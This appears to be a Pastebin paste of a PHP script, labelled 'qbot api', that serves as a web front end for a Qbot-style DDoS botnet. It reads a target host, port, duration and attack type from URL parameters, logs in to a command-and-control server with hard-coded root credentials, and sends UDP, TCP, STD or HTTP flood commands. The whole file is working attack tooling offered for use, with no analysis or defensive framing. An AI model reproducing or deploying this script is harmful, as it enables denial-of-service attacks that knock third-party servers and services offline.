Advertisement
Guest User

qbot api

a guest
Nov 21st, 2017
1,284
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.15 KB | None | 0 0
  1. <?php
  2. //daddyl33t was here
  3. //API Link: http://ServerIP/API.php?&host=$host&port=$port&time=$time&type=$method
  4. set_time_limit(0);
  5.  
  6. $server = "127.0.0.1";
  7. $conport = 1337;
  8. $username = "root";
  9. $password = "root";
  10.  
  11. $activekeys = array();
  12.  
  13. $method = $_GET['type'];
  14. $target = $_GET['host'];
  15. $port = $_GET['port'];
  16. $time = $_GET['time'];
  17.  
  18. if($method == "UDP"){$command = "!* UDP $target $port $time 32 0 10";}
  19. if($method == "TCP"){$command = "!* TCP $target $port $time 32 all 0 10";}
  20. if($method == "STD"){$command = "!* STD $target $port $time";}
  21. if($method == "HTTP"){$command = "!* HTTP $target $time";}
  22.  
  23. $sock = fsockopen($server, $conport, $errno, $errstr, 2);
  24.  
  25. if(!$sock){
  26. echo "Couldn't Connect To CNC Server...";
  27. } else{
  28. print(fread($sock, 512)."\n");
  29. fwrite($sock, $username . "\n");
  30. echo "<br>";
  31. print(fread($sock, 512)."\n");
  32. fwrite($sock, $password . "\n");
  33. echo "<br>";
  34. if(fread($sock, 512)){
  35. print(fread($sock, 512)."\n");
  36. }
  37.  
  38. fwrite($sock, $command . "\n");
  39. fclose($sock);
  40. echo "<br>";
  41. echo "> $command ";
  42. }
  43. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement